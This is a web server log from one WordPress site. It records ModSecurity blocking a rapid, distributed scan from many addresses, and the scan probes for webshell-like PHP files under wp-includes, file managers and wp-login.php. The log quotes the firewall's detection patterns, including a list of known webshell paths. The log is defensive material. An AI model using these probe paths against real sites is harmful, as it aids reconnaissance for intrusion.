[Mon Nov 24 09:31:34.111498 2025] [:error] [pid 48599:tid 48604] [client 140.99.1.49:54837] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSO1dpzvu6PDJiRKE3LOswAAAYE"]
[Mon Nov 24 09:31:34.308322 2025] [:error] [pid 49900:tid 49914] [client 140.99.1.48:34427] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSO1djCyPLrvg06aormZ8QAAAAw"]
[Mon Nov 24 09:31:34.552208 2025] [:error] [pid 49900:tid 49907] [client 140.99.1.49:56493] [client 140.99.1.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.49, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSO1djCyPLrvg06aormZ8wAAAAU"]
[Mon Nov 24 09:31:34.751908 2025] [:error] [pid 49900:tid 49904] [client 140.99.1.49:56493] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSO1djCyPLrvg06aormZ9gAAAAI"]
[Mon Nov 24 09:31:35.177582 2025] [:error] [pid 48599:tid 48614] [client 140.99.1.15:56917] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSO1d5zvu6PDJiRKE3LOuAAAAYs"]
[Mon Nov 24 09:31:35.412432 2025] [:error] [pid 48601:tid 48660] [client 140.99.1.33:55159] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSO1d4MM4MaVTk74-AZPlAAAAgM"]
[Mon Nov 24 09:31:36.080070 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.26:25219] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSO1ePtOzSUAQvWVjBcv9AAAAdI"]
[Mon Nov 24 09:31:36.266741 2025] [:error] [pid 48601:tid 48658] [client 140.99.1.46:51929] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSO1eIMM4MaVTk74-AZPmAAAAgE"]
[Mon Nov 24 09:31:36.971239 2025] [:error] [pid 49900:tid 49925] [client 140.99.1.18:58243] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSO1eDCyPLrvg06aormaCwAAABc"]
[Mon Nov 24 09:31:37.366439 2025] [proxy_fcgi:error] [pid 49900:tid 49908] [client 140.99.1.8:63699] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:37.552161 2025] [:error] [pid 49900:tid 49905] [client 140.99.1.8:63699] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSO1eTCyPLrvg06aormaGAAAAAM"]
[Mon Nov 24 09:31:37.742342 2025] [:error] [pid 48599:tid 48612] [client 140.99.1.76:34163] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSO1eZzvu6PDJiRKE3LOxgAAAYk"]
[Mon Nov 24 09:31:38.118356 2025] [:error] [pid 48688:tid 48695] [client 140.99.1.14:35993] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSO1ehm2q1FkzLam7A1BkAAAAkM"]
[Mon Nov 24 09:31:38.304946 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.50:54239] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSO1epzvu6PDJiRKE3LOzQAAAZY"]
[Mon Nov 24 09:31:39.369834 2025] [:error] [pid 48688:tid 48696] [client 140.99.1.48:51513] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSO1exm2q1FkzLam7A1BnQAAAkQ"]
[Mon Nov 24 09:31:39.658511 2025] [:error] [pid 48601:tid 48660] [client 140.99.1.71:64111] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSO1e4MM4MaVTk74-AZPnwAAAgM"]
[Mon Nov 24 09:31:40.256145 2025] [:error] [pid 49900:tid 49906] [client 140.99.1.33:29069] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSO1fDCyPLrvg06aormaLAAAAAQ"]
[Mon Nov 24 09:31:40.494777 2025] [:error] [pid 48599:tid 48624] [client 140.99.1.50:47501] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSO1fJzvu6PDJiRKE3LO3AAAAZU"]
[Mon Nov 24 09:31:40.792266 2025] [:error] [pid 48600:tid 48653] [client 140.99.1.18:48053] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSO1fPtOzSUAQvWVjBcwAwAAAdc"]
[Mon Nov 24 09:31:41.495150 2025] [:error] [pid 48601:tid 48668] [client 140.99.1.14:57751] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aSO1fYMM4MaVTk74-AZPpgAAAgs"]
[Mon Nov 24 09:31:41.776266 2025] [:error] [pid 48688:tid 48704] [client 140.99.1.7:45681] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSO1fRm2q1FkzLam7A1BqgAAAkw"]
[Mon Nov 24 09:31:42.683100 2025] [:error] [pid 49900:tid 49919] [client 140.99.1.53:51567] [client 140.99.1.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aSO1fjCyPLrvg06aormaOwAAABE"]
[Mon Nov 24 09:31:43.273541 2025] [:error] [pid 49900:tid 49909] [client 140.99.1.53:51567] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSO1fzCyPLrvg06aormaQgAAAAc"]
[Mon Nov 24 09:31:43.462604 2025] [:error] [pid 48688:tid 48696] [client 140.99.1.65:40961] [client 140.99.1.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.65, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSO1fxm2q1FkzLam7A1BrwAAAkQ"]
[Mon Nov 24 09:31:44.685023 2025] [proxy_fcgi:error] [pid 48688:tid 48700] [client 140.99.1.65:40961] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:46.370191 2025] [:error] [pid 48688:tid 48703] [client 140.99.1.65:40961] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSO1ghm2q1FkzLam7A1BzgAAAks"]
[Mon Nov 24 09:31:47.095904 2025] [:error] [pid 48600:tid 48630] [client 140.99.1.32:46361] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSO1g_tOzSUAQvWVjBcwGQAAAcA"]
[Mon Nov 24 09:31:47.517432 2025] [:error] [pid 49900:tid 49922] [client 140.99.1.13:36373] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aSO1gzCyPLrvg06aormaVgAAABQ"]
[Mon Nov 24 09:31:48.772022 2025] [:error] [pid 48599:tid 48606] [client 140.99.1.39:55715] [client 140.99.1.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSO1hJzvu6PDJiRKE3LO8AAAAYM"]
[Mon Nov 24 09:31:49.164942 2025] [:error] [pid 48599:tid 48605] [client 140.99.1.37:56561] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSO1hZzvu6PDJiRKE3LO8wAAAYI"]
[Mon Nov 24 09:31:49.492912 2025] [:error] [pid 49900:tid 49921] [client 140.99.1.70:57261] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSO1hTCyPLrvg06aormaYwAAABM"]
[Mon Nov 24 09:31:51.711832 2025] [proxy_fcgi:error] [pid 48688:tid 48697] [client 140.99.1.27:23461] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:51.806970 2025] [proxy_fcgi:error] [pid 48688:tid 48694] [client 140.99.1.27:23461] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:51.925412 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.27:23461] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSO1hxm2q1FkzLam7A1B4QAAAlc"]
[Mon Nov 24 09:31:52.195792 2025] [:error] [pid 48600:tid 48645] [client 140.99.1.78:22751] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSO1iPtOzSUAQvWVjBcwIwAAAc8"]
[Mon Nov 24 09:31:53.217759 2025] [:error] [pid 48600:tid 48651] [client 140.99.1.67:65117] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aSO1iftOzSUAQvWVjBcwLgAAAdU"]
[Mon Nov 24 09:31:53.576048 2025] [:error] [pid 49900:tid 49916] [client 140.99.1.70:29101] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aSO1iTCyPLrvg06aormafgAAAA4"]
[Mon Nov 24 09:31:54.200048 2025] [:error] [pid 48601:tid 48668] [client 140.99.1.48:44403] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSO1ioMM4MaVTk74-AZPvAAAAgs"]
[Mon Nov 24 09:31:55.304255 2025] [:error] [pid 48600:tid 48639] [client 140.99.1.43:58973] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aSO1i_tOzSUAQvWVjBcwOQAAAck"]
[Mon Nov 24 09:31:55.493351 2025] [proxy_fcgi:error] [pid 48601:tid 48678] [client 140.99.1.10:22999] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:55.874128 2025] [:error] [pid 48601:tid 48671] [client 140.99.1.10:22999] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSO1i4MM4MaVTk74-AZPxAAAAg4"]
[Mon Nov 24 09:31:56.686647 2025] [proxy_fcgi:error] [pid 48601:tid 48676] [client 140.99.1.16:26793] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:56.897537 2025] [:error] [pid 48601:tid 48668] [client 140.99.1.16:26793] [client 140.99.1.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aSO1jIMM4MaVTk74-AZP0QAAAgs"]
[Mon Nov 24 09:31:57.427719 2025] [:error] [pid 48601:tid 48666] [client 140.99.1.16:26793] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aSO1jYMM4MaVTk74-AZP1gAAAgk"]
[Mon Nov 24 09:31:57.771753 2025] [:error] [pid 48599:tid 48603] [client 140.99.1.65:44899] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSO1jZzvu6PDJiRKE3LPBQAAAYA"]
[Mon Nov 24 09:31:58.516876 2025] [:error] [pid 48600:tid 48644] [client 140.99.1.5:39657] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aSO1jvtOzSUAQvWVjBcwYgAAAc4"]
[Mon Nov 24 09:31:59.129909 2025] [:error] [pid 48600:tid 48639] [client 140.99.1.75:34753] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aSO1j_tOzSUAQvWVjBcwZwAAAck"]
[Mon Nov 24 09:31:59.458731 2025] [:error] [pid 49900:tid 49904] [client 140.99.1.44:41621] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSO1jzCyPLrvg06aormaqQAAAAI"]
[Mon Nov 24 09:32:00.161866 2025] [:error] [pid 48601:tid 48677] [client 140.99.1.48:26879] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aSO1kIMM4MaVTk74-AZP3gAAAhQ"]
[Mon Nov 24 09:32:00.653568 2025] [proxy_fcgi:error] [pid 48600:tid 48642] [client 140.99.1.17:52585] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:32:00.770811 2025] [:error] [pid 48600:tid 48643] [client 140.99.1.17:52585] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aSO1kPtOzSUAQvWVjBcwbAAAAc0"]
[Mon Nov 24 09:32:01.196423 2025] [:error] [pid 49900:tid 49916] [client 140.99.1.52:47647] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aSO1kTCyPLrvg06aormasgAAAA4"]
[Mon Nov 24 09:32:01.392600 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.16:37491] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aSO1kRm2q1FkzLam7A1B_AAAAlc"]
[Mon Nov 24 09:32:01.719407 2025] [:error] [pid 48600:tid 48645] [client 140.99.1.3:49453] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aSO1kftOzSUAQvWVjBcwbgAAAc8"]
[Mon Nov 24 09:32:01.951354 2025] [:error] [pid 48600:tid 48647] [client 140.99.1.44:63085] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aSO1kftOzSUAQvWVjBcwbwAAAdE"]
[Mon Nov 24 09:32:02.332146 2025] [:error] [pid 48688:tid 48706] [client 140.99.1.31:53891] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aSO1khm2q1FkzLam7A1B_gAAAk4"]
